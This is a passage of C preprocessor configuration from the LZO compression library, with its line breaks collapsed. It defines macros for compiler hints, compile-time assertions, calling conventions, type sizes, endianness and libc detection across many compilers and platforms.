defined(__lzo_destructor) # ifndef __lzo_HAVE_destructor # define __lzo_HAVE_destructor 1 # endif #endif #if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor) # error "unexpected configuration - check your compiler defines" #endif #if !defined(__lzo_likely) && !defined(__lzo_unlikely) #if (LZO_CC_GNUC >= 0x030200ul) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_IBMC >= 1010) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800)) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_likely(e) (__builtin_expect(!!(e),1)) # define __lzo_unlikely(e) (__builtin_expect(!!(e),0)) #endif #endif #if defined(__lzo_likely) # ifndef __lzo_HAVE_likely # define __lzo_HAVE_likely 1 # endif #else # define __lzo_likely(e) (e) #endif #if defined(__lzo_unlikely) # ifndef __lzo_HAVE_unlikely # define __lzo_HAVE_unlikely 1 # endif #else # define __lzo_unlikely(e) (e) #endif #if !defined(__lzo_static_unused_void_func) # if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_static_unused_void_func(f) static void __attribute__((__unused__)) f(void) # else # define __lzo_static_unused_void_func(f) static __lzo_inline void f(void) # endif #endif #if !defined(__lzo_loop_forever) # if (LZO_CC_IBMC) # define __lzo_loop_forever() LZO_BLOCK_BEGIN for (;;) { ; } LZO_BLOCK_END # else # define __lzo_loop_forever() do { ; } while __lzo_cte(1) # endif #endif #if !defined(__lzo_unreachable) #if (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x020800ul)) # define __lzo_unreachable() __builtin_unreachable(); #elif (LZO_CC_GNUC >= 0x040500ul) # define __lzo_unreachable() __builtin_unreachable(); #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1300)) && 1 # define __lzo_unreachable() __builtin_unreachable(); #endif #endif #if defined(__lzo_unreachable) # ifndef __lzo_HAVE_unreachable # define __lzo_HAVE_unreachable 1 # endif #else # if 0 # define __lzo_unreachable() ((void)0); # else # define __lzo_unreachable() __lzo_loop_forever(); # endif #endif #ifndef __LZO_CTA_NAME #if (LZO_CFG_USE_COUNTER) # define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__COUNTER__) #else # define __LZO_CTA_NAME(a) LZO_PP_ECONCAT2(a,__LINE__) #endif #endif #if !defined(LZO_COMPILE_TIME_ASSERT_HEADER) # if (LZO_CC_AZTECC || LZO_CC_ZORTECHC) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_DMC || LZO_CC_SYMANTECC) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1u-2*!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-!(e)]; LZO_EXTERN_C_END # elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020900ul)) && defined(__cplusplus) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN int __LZO_CTA_NAME(lzo_cta_f__)(int [1-2*!(e)]); LZO_EXTERN_C_END # elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__)); LZO_EXTERN_C_END # else # define LZO_COMPILE_TIME_ASSERT_HEADER(e) LZO_EXTERN_C_BEGIN extern int __LZO_CTA_NAME(lzo_cta__)[1-2*!(e)]; LZO_EXTERN_C_END # endif #endif #if !defined(LZO_COMPILE_TIME_ASSERT) # if (LZO_CC_AZTECC) # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-!(e)];} # elif (LZO_CC_DMC || LZO_CC_PACIFICC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # elif (LZO_CC_GNUC) && defined(__CHECKER__) && defined(__SPARSE_CHECKER__) # define LZO_COMPILE_TIME_ASSERT(e) {(void) (0/!!(e));} # elif (LZO_CC_GNUC >= 0x040700ul) && (LZO_CFG_USE_COUNTER) && defined(__cplusplus) # define LZO_COMPILE_TIME_ASSERT(e) {enum {__LZO_CTA_NAME(lzo_cta_e__)=1/!!(e)} __attribute__((__unused__));} # elif (LZO_CC_GNUC >= 0x040700ul) # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)] __attribute__((__unused__));} # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # elif (LZO_CC_TURBOC && (__TURBOC__ == 0x0295)) # define LZO_COMPILE_TIME_ASSERT(e) switch(0) case 1:case !(e):break; # else # define LZO_COMPILE_TIME_ASSERT(e) {typedef int __LZO_CTA_NAME(lzo_cta_t__)[1-2*!(e)];} # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(1 == 1) #if defined(__cplusplus) extern "C" { LZO_COMPILE_TIME_ASSERT_HEADER(2 == 2) } #endif LZO_COMPILE_TIME_ASSERT_HEADER(3 == 3) #if (LZO_ARCH_I086 || LZO_ARCH_I386) && (LZO_OS_DOS16 || LZO_OS_DOS32 || LZO_OS_OS2 || LZO_OS_OS216 || LZO_OS_WIN16 || LZO_OS_WIN32 || LZO_OS_WIN64) # if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC) # elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) # define __lzo_cdecl __cdecl # define __lzo_cdecl_atexit /*empty*/ # define __lzo_cdecl_main __cdecl # if (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) # define __lzo_cdecl_qsort __pascal # elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) # define __lzo_cdecl_qsort _stdcall # else # define __lzo_cdecl_qsort __cdecl # endif # elif (LZO_CC_WATCOMC) # define __lzo_cdecl __cdecl # else # define __lzo_cdecl __cdecl # define __lzo_cdecl_atexit __cdecl # define __lzo_cdecl_main __cdecl # define __lzo_cdecl_qsort __cdecl # endif # if (LZO_CC_GNUC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PACIFICC || LZO_CC_WATCOMC) # elif (LZO_OS_OS2 && (LZO_CC_DMC || LZO_CC_SYMANTECC)) # define __lzo_cdecl_sighandler __pascal # elif (LZO_OS_OS2 && (LZO_CC_ZORTECHC)) # define __lzo_cdecl_sighandler _stdcall # elif (LZO_CC_MSC && (_MSC_VER >= 1400)) && defined(_M_CEE_PURE) # define __lzo_cdecl_sighandler __clrcall # elif (LZO_CC_MSC && (_MSC_VER >= 600 && _MSC_VER < 700)) # if defined(_DLL) # define __lzo_cdecl_sighandler _far _cdecl _loadds # elif defined(_MT) # define __lzo_cdecl_sighandler _far _cdecl # else # define __lzo_cdecl_sighandler _cdecl # endif # else # define __lzo_cdecl_sighandler __cdecl # endif #elif (LZO_ARCH_I386) && (LZO_CC_WATCOMC) # define __lzo_cdecl __cdecl #elif (LZO_ARCH_M68K && LZO_OS_TOS && (LZO_CC_PUREC || LZO_CC_TURBOC)) # define __lzo_cdecl cdecl #endif #if !defined(__lzo_cdecl) # define __lzo_cdecl /*empty*/ #endif #if !defined(__lzo_cdecl_atexit) # define __lzo_cdecl_atexit /*empty*/ #endif #if !defined(__lzo_cdecl_main) # define __lzo_cdecl_main /*empty*/ #endif #if !defined(__lzo_cdecl_qsort) # define __lzo_cdecl_qsort /*empty*/ #endif #if !defined(__lzo_cdecl_sighandler) # define __lzo_cdecl_sighandler /*empty*/ #endif #if !defined(__lzo_cdecl_va) # define __lzo_cdecl_va __lzo_cdecl #endif #if !(LZO_CFG_NO_WINDOWS_H) #if !defined(LZO_HAVE_WINDOWS_H) #if (LZO_OS_CYGWIN || (LZO_OS_EMX && defined(__RSXNT__)) || LZO_OS_WIN32 || LZO_OS_WIN64) # if (LZO_CC_WATCOMC && (__WATCOMC__ < 1000)) # elif (LZO_OS_WIN32 && LZO_CC_GNUC) && defined(__PW32__) # elif ((LZO_OS_CYGWIN || defined(__MINGW32__)) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x025f00ul))) # else # define LZO_HAVE_WINDOWS_H 1 # endif #endif #endif #endif #ifndef LZO_SIZEOF_SHORT #if defined(SIZEOF_SHORT) # define LZO_SIZEOF_SHORT (SIZEOF_SHORT) #elif defined(__SIZEOF_SHORT__) # define LZO_SIZEOF_SHORT (__SIZEOF_SHORT__) #endif #endif #ifndef LZO_SIZEOF_INT #if defined(SIZEOF_INT) # define LZO_SIZEOF_INT (SIZEOF_INT) #elif defined(__SIZEOF_INT__) # define LZO_SIZEOF_INT (__SIZEOF_INT__) #endif #endif #ifndef LZO_SIZEOF_LONG #if defined(SIZEOF_LONG) # define LZO_SIZEOF_LONG (SIZEOF_LONG) #elif defined(__SIZEOF_LONG__) # define LZO_SIZEOF_LONG (__SIZEOF_LONG__) #endif #endif #ifndef LZO_SIZEOF_LONG_LONG #if defined(SIZEOF_LONG_LONG) # define LZO_SIZEOF_LONG_LONG (SIZEOF_LONG_LONG) #elif defined(__SIZEOF_LONG_LONG__) # define LZO_SIZEOF_LONG_LONG (__SIZEOF_LONG_LONG__) #endif #endif #ifndef LZO_SIZEOF___INT16 #if defined(SIZEOF___INT16) # define LZO_SIZEOF___INT16 (SIZEOF___INT16) #endif #endif #ifndef LZO_SIZEOF___INT32 #if defined(SIZEOF___INT32) # define LZO_SIZEOF___INT32 (SIZEOF___INT32) #endif #endif #ifndef LZO_SIZEOF___INT64 #if defined(SIZEOF___INT64) # define LZO_SIZEOF___INT64 (SIZEOF___INT64) #endif #endif #ifndef LZO_SIZEOF_VOID_P #if defined(SIZEOF_VOID_P) # define LZO_SIZEOF_VOID_P (SIZEOF_VOID_P) #elif defined(__SIZEOF_POINTER__) # define LZO_SIZEOF_VOID_P (__SIZEOF_POINTER__) #endif #endif #ifndef LZO_SIZEOF_SIZE_T #if defined(SIZEOF_SIZE_T) # define LZO_SIZEOF_SIZE_T (SIZEOF_SIZE_T) #elif defined(__SIZEOF_SIZE_T__) # define LZO_SIZEOF_SIZE_T (__SIZEOF_SIZE_T__) #endif #endif #ifndef LZO_SIZEOF_PTRDIFF_T #if defined(SIZEOF_PTRDIFF_T) # define LZO_SIZEOF_PTRDIFF_T (SIZEOF_PTRDIFF_T) #elif defined(__SIZEOF_PTRDIFF_T__) # define LZO_SIZEOF_PTRDIFF_T (__SIZEOF_PTRDIFF_T__) #endif #endif #define __LZO_LSR(x,b) (((x)+0ul) >> (b)) #if !defined(LZO_SIZEOF_SHORT) # if (LZO_ARCH_CRAY_PVP) # define LZO_SIZEOF_SHORT 8 # elif (USHRT_MAX == LZO_0xffffL) # define LZO_SIZEOF_SHORT 2 # elif (__LZO_LSR(USHRT_MAX,7) == 1) # define LZO_SIZEOF_SHORT 1 # elif (__LZO_LSR(USHRT_MAX,15) == 1) # define LZO_SIZEOF_SHORT 2 # elif (__LZO_LSR(USHRT_MAX,31) == 1) # define LZO_SIZEOF_SHORT 4 # elif (__LZO_LSR(USHRT_MAX,63) == 1) # define LZO_SIZEOF_SHORT 8 # elif (__LZO_LSR(USHRT_MAX,127) == 1) # define LZO_SIZEOF_SHORT 16 # else # error "LZO_SIZEOF_SHORT" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SHORT == sizeof(short)) #if !defined(LZO_SIZEOF_INT) # if (LZO_ARCH_CRAY_PVP) # define LZO_SIZEOF_INT 8 # elif (UINT_MAX == LZO_0xffffL) # define LZO_SIZEOF_INT 2 # elif (UINT_MAX == LZO_0xffffffffL) # define LZO_SIZEOF_INT 4 # elif (__LZO_LSR(UINT_MAX,7) == 1) # define LZO_SIZEOF_INT 1 # elif (__LZO_LSR(UINT_MAX,15) == 1) # define LZO_SIZEOF_INT 2 # elif (__LZO_LSR(UINT_MAX,31) == 1) # define LZO_SIZEOF_INT 4 # elif (__LZO_LSR(UINT_MAX,63) == 1) # define LZO_SIZEOF_INT 8 # elif (__LZO_LSR(UINT_MAX,127) == 1) # define LZO_SIZEOF_INT 16 # else # error "LZO_SIZEOF_INT" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_INT == sizeof(int)) #if !defined(LZO_SIZEOF_LONG) # if (ULONG_MAX == LZO_0xffffffffL) # define LZO_SIZEOF_LONG 4 # elif (__LZO_LSR(ULONG_MAX,7) == 1) # define LZO_SIZEOF_LONG 1 # elif (__LZO_LSR(ULONG_MAX,15) == 1) # define LZO_SIZEOF_LONG 2 # elif (__LZO_LSR(ULONG_MAX,31) == 1) # define LZO_SIZEOF_LONG 4 # elif (__LZO_LSR(ULONG_MAX,39) == 1) # define LZO_SIZEOF_LONG 5 # elif (__LZO_LSR(ULONG_MAX,63) == 1) # define LZO_SIZEOF_LONG 8 # elif (__LZO_LSR(ULONG_MAX,127) == 1) # define LZO_SIZEOF_LONG 16 # else # error "LZO_SIZEOF_LONG" # endif #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_LONG == sizeof(long)) #if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) #if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) # if defined(__LONG_MAX__) && defined(__LONG_LONG_MAX__) # if (LZO_CC_GNUC >= 0x030300ul) # if ((__LONG_MAX__-0) == (__LONG_LONG_MAX__-0)) # define LZO_SIZEOF_LONG_LONG LZO_SIZEOF_LONG # elif (__LZO_LSR(__LONG_LONG_MAX__,30) == 1) # define LZO_SIZEOF_LONG_LONG 4 # endif # endif # endif #endif #endif #if !defined(LZO_SIZEOF_LONG_LONG) && !defined(LZO_SIZEOF___INT64) #if (LZO_SIZEOF_LONG > 0 && LZO_SIZEOF_LONG < 8) #if (LZO_ARCH_I086 && LZO_CC_DMC) #elif (LZO_CC_CILLY) && defined(__GNUC__) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_SIZEOF_LONG_LONG 8 #elif ((LZO_OS_WIN32 || LZO_OS_WIN64 || defined(_WIN32)) && LZO_CC_MSC && (_MSC_VER >= 1400)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_OS_WIN64 || defined(_WIN64)) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_DMC)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_SYMANTECC && (__SC__ >= 0x700))) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_INTELC && defined(__linux__))) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_MWERKS || LZO_CC_PELLESC || LZO_CC_PGI || LZO_CC_SUNPROC)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_ARCH_I386 && (LZO_CC_INTELC || LZO_CC_MSC)) # define LZO_SIZEOF___INT64 8 #elif ((LZO_OS_WIN32 || defined(_WIN32)) && (LZO_CC_MSC)) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0520))) # define LZO_SIZEOF___INT64 8 #elif (LZO_ARCH_I386 && (LZO_CC_WATCOMC && (__WATCOMC__ >= 1100))) # define LZO_SIZEOF___INT64 8 #elif (LZO_CC_GHS && defined(__LLONG_BIT) && ((__LLONG_BIT-0) == 64)) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_WATCOMC && defined(_INTEGRAL_MAX_BITS) && ((_INTEGRAL_MAX_BITS-0) == 64)) # define LZO_SIZEOF___INT64 8 #elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__) # define LZO_SIZEOF_LONG_LONG 8 #elif (defined(__vms) || defined(__VMS)) && ((__INITIAL_POINTER_SIZE-0) == 64) # define LZO_SIZEOF_LONG_LONG 8 #elif (LZO_CC_SDCC) && (LZO_SIZEOF_INT == 2) #elif 1 && defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) # define LZO_SIZEOF_LONG_LONG 8 #endif #endif #endif #if defined(__cplusplus) && (LZO_CC_GNUC) # if (LZO_CC_GNUC < 0x020800ul) # undef LZO_SIZEOF_LONG_LONG # endif #endif #if (LZO_CFG_NO_LONG_LONG) # undef LZO_SIZEOF_LONG_LONG #elif defined(__NO_LONG_LONG) # undef LZO_SIZEOF_LONG_LONG #elif defined(_NO_LONGLONG) # undef LZO_SIZEOF_LONG_LONG #endif #if !defined(LZO_WORDSIZE) #if (LZO_ARCH_ALPHA) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_AMD64) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_AVR) # define LZO_WORDSIZE 1 #elif (LZO_ARCH_H8300) # if defined(__NORMAL_MODE__) # define LZO_WORDSIZE 4 # elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_WORDSIZE 4 # else # define LZO_WORDSIZE 2 # endif #elif (LZO_ARCH_I086) # define LZO_WORDSIZE 2 #elif (LZO_ARCH_IA64) # define LZO_WORDSIZE 8 #elif (LZO_ARCH_M16C) # define LZO_WORDSIZE 2 #elif (LZO_ARCH_SPU) # define LZO_WORDSIZE 4 #elif (LZO_ARCH_Z80) # define LZO_WORDSIZE 1 #elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) # define LZO_WORDSIZE 8 #elif (LZO_OS_OS400 || defined(__OS400__)) # define LZO_WORDSIZE 8 #elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) # define LZO_WORDSIZE 8 #endif #endif #if !defined(LZO_SIZEOF_VOID_P) #if defined(__ILP32__) || defined(__ILP32) || defined(_ILP32) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 4) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) # define LZO_SIZEOF_VOID_P 4 #elif defined(__ILP64__) || defined(__ILP64) || defined(_ILP64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(int) == 8) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) # define LZO_SIZEOF_VOID_P 8 #elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 4) # define LZO_SIZEOF_VOID_P 8 #elif defined(__LP64__) || defined(__LP64) || defined(_LP64) LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(long) == 8) # define LZO_SIZEOF_VOID_P 8 #elif (LZO_ARCH_AVR) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_ARCH_H8300) # if defined(__NORMAL_MODE__) # define LZO_SIZEOF_VOID_P 2 # elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__) # define LZO_SIZEOF_VOID_P 4 # else # define LZO_SIZEOF_VOID_P 2 # endif # if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4) # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT # endif #elif (LZO_ARCH_I086) # if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM) # define LZO_SIZEOF_VOID_P 2 # elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE) # define LZO_SIZEOF_VOID_P 4 # else # error "invalid LZO_ARCH_I086 memory model" # endif #elif (LZO_ARCH_M16C) # if defined(__m32c_cpu__) || defined(__m32cm_cpu__) # define LZO_SIZEOF_VOID_P 4 # else # define LZO_SIZEOF_VOID_P 2 # endif #elif (LZO_ARCH_SPU) # define LZO_SIZEOF_VOID_P 4 #elif (LZO_ARCH_Z80) # define LZO_SIZEOF_VOID_P 2 #elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__)) # define LZO_SIZEOF_VOID_P 4 #elif (LZO_OS_OS400 || defined(__OS400__)) # if defined(__LLP64_IFC__) # define LZO_SIZEOF_VOID_P 8 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG # else # define LZO_SIZEOF_VOID_P 16 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG # endif #elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64) # define LZO_SIZEOF_VOID_P 8 # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG #endif #endif #if !defined(LZO_SIZEOF_VOID_P) # define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG #endif LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_VOID_P == sizeof(void *)) #if !defined(LZO_SIZEOF_SIZE_T) #if (LZO_ARCH_I086 || LZO_ARCH_M16C) # define LZO_SIZEOF_SIZE_T 2 #endif #endif #if !defined(LZO_SIZEOF_SIZE_T) # define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P #endif #if defined(offsetof) LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_SIZE_T == sizeof(size_t)) #endif #if !defined(LZO_SIZEOF_PTRDIFF_T) #if (LZO_ARCH_I086) # if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE) # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P # elif (LZO_MM_COMPACT || LZO_MM_LARGE) # if (LZO_CC_BORLANDC || LZO_CC_TURBOC) # define LZO_SIZEOF_PTRDIFF_T 4 # else # define LZO_SIZEOF_PTRDIFF_T 2 # endif # else # error "invalid LZO_ARCH_I086 memory model" # endif #endif #endif #if !defined(LZO_SIZEOF_PTRDIFF_T) # define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T #endif #if defined(offsetof) LZO_COMPILE_TIME_ASSERT_HEADER(LZO_SIZEOF_PTRDIFF_T == sizeof(ptrdiff_t)) #endif #if !defined(LZO_WORDSIZE) # define LZO_WORDSIZE LZO_SIZEOF_VOID_P #endif #if (LZO_ABI_NEUTRAL_ENDIAN) # undef LZO_ABI_BIG_ENDIAN # undef LZO_ABI_LITTLE_ENDIAN #elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN) #if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP) # define LZO_ABI_BIG_ENDIAN 1 #elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64) # define LZO_ABI_LITTLE_ENDIAN 1 #elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430) # define LZO_ABI_LITTLE_ENDIAN 1 #elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390 || LZO_ARCH_SPU) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__) # if (__LITTLE_ENDIAN__ == 1) # define LZO_ABI_LITTLE_ENDIAN 1 # else # define LZO_ABI_BIG_ENDIAN 1 # endif #elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM && LZO_CC_ARMCC_ARMCC) # if defined(__BIG_ENDIAN) && defined(__LITTLE_ENDIAN) # error "unexpected configuration - check your compiler defines" # elif defined(__BIG_ENDIAN) # define LZO_ABI_BIG_ENDIAN 1 # else # define LZO_ABI_LITTLE_ENDIAN 1 # endif # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EB__) && !defined(__AARCH64EL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_ARM64) && defined(__AARCH64EL__) && !defined(__AARCH64EB__) # define LZO_ABI_LITTLE_ENDIAN 1 #elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__) # define LZO_ABI_BIG_ENDIAN 1 #elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__) # define LZO_ABI_LITTLE_ENDIAN 1 #endif #endif #if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN) # error "unexpected configuration - check your compiler defines" #endif #if (LZO_ABI_BIG_ENDIAN) # define LZO_INFO_ABI_ENDIAN "be" #elif (LZO_ABI_LITTLE_ENDIAN) # define LZO_INFO_ABI_ENDIAN "le" #elif (LZO_ABI_NEUTRAL_ENDIAN) # define LZO_INFO_ABI_ENDIAN "neutral" #endif #if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) # define LZO_ABI_I8LP16 1 # define LZO_INFO_ABI_PM "i8lp16" #elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2) # define LZO_ABI_ILP16 1 # define LZO_INFO_ABI_PM "ilp16" #elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_LP32 1 # define LZO_INFO_ABI_PM "lp32" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_ILP32 1 # define LZO_INFO_ABI_PM "ilp32" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8) # define LZO_ABI_LLP64 1 # define LZO_INFO_ABI_PM "llp64" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) # define LZO_ABI_LP64 1 # define LZO_INFO_ABI_PM "lp64" #elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8) # define LZO_ABI_ILP64 1 # define LZO_INFO_ABI_PM "ilp64" #elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4) # define LZO_ABI_IP32L64 1 # define LZO_INFO_ABI_PM "ip32l64" #endif #if 0 #elif !defined(__LZO_LIBC_OVERRIDE) #if (LZO_LIBC_NAKED) # define LZO_INFO_LIBC "naked" #elif (LZO_LIBC_FREESTANDING) # define LZO_INFO_LIBC "freestanding" #elif (LZO_LIBC_MOSTLY_FREESTANDING) # define LZO_INFO_LIBC "mfreestanding" #elif (LZO_LIBC_ISOC90) # define LZO_INFO_LIBC "isoc90" #elif (LZO_LIBC_ISOC99) # define LZO_INFO_LIBC "isoc99" #elif (LZO_CC_ARMCC_ARMCC) && defined(__ARMCLIB_VERSION) # define LZO_LIBC_ISOC90 1 # define LZO_INFO_LIBC "isoc90" #elif defined(__dietlibc__) # define LZO_LIBC_DIETLIBC 1 # define LZO_INFO_LIBC "dietlibc" #elif defined(_NEWLIB_VERSION) # define LZO_LIBC_NEWLIB 1 # define LZO_INFO_LIBC "newlib" #elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__) # if defined(__UCLIBC_SUBLEVEL__) # define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + (__UCLIBC_MINOR__-0) * 0x100 + (__UCLIBC_SUBLEVEL__-0)) # else # define LZO_LIBC_UCLIBC 0x00090bL # endif # define LZO_INFO_LIBC "uc" 